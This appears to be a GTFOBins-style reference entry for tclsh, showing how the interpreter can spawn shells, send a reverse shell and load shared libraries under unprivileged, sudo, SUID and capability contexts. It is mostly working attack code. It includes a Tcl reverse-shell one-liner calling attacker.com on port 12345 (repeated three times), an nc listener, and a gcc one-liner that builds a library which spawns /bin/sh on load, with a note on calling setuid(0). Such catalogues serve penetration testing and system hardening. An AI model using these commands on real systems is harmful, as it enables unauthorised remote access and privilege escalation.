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• Shell
• Reverse shell
• Library load

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  tclsh

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  tclsh

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  tclsh

Reverse shell

This executable can send back a reverse system shell to a listening attacker.

• Unprivileged

  This function can be performed by any unprivileged user.

  tclsh
  set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  tclsh
  set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  tclsh
  set s [socket attacker.com 12345];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;

  TTY

  The spawned shell is just a dummy REPL that can only run simple terminal commands.

  Listener

  A TCP server can be used on the attacker box to receive the shell.

  nc -l -p 12345

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

• Unprivileged

  This function can be performed by any unprivileged user.

  tclsh
  load /path/to/lib.so x

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  tclsh
  load /path/to/lib.so x

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  tclsh
  load /path/to/lib.so x

  Capabilities

  This function is performed bypassing the usual kernel permission checks if the executable has certain capabilities set.

  The following capabilities are needed:

  tclsh
  load /path/to/lib.so x

  Payload

  As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:

  echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
      | gcc -w -fPIC -shared -o lib.so -x c -
  

  Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.

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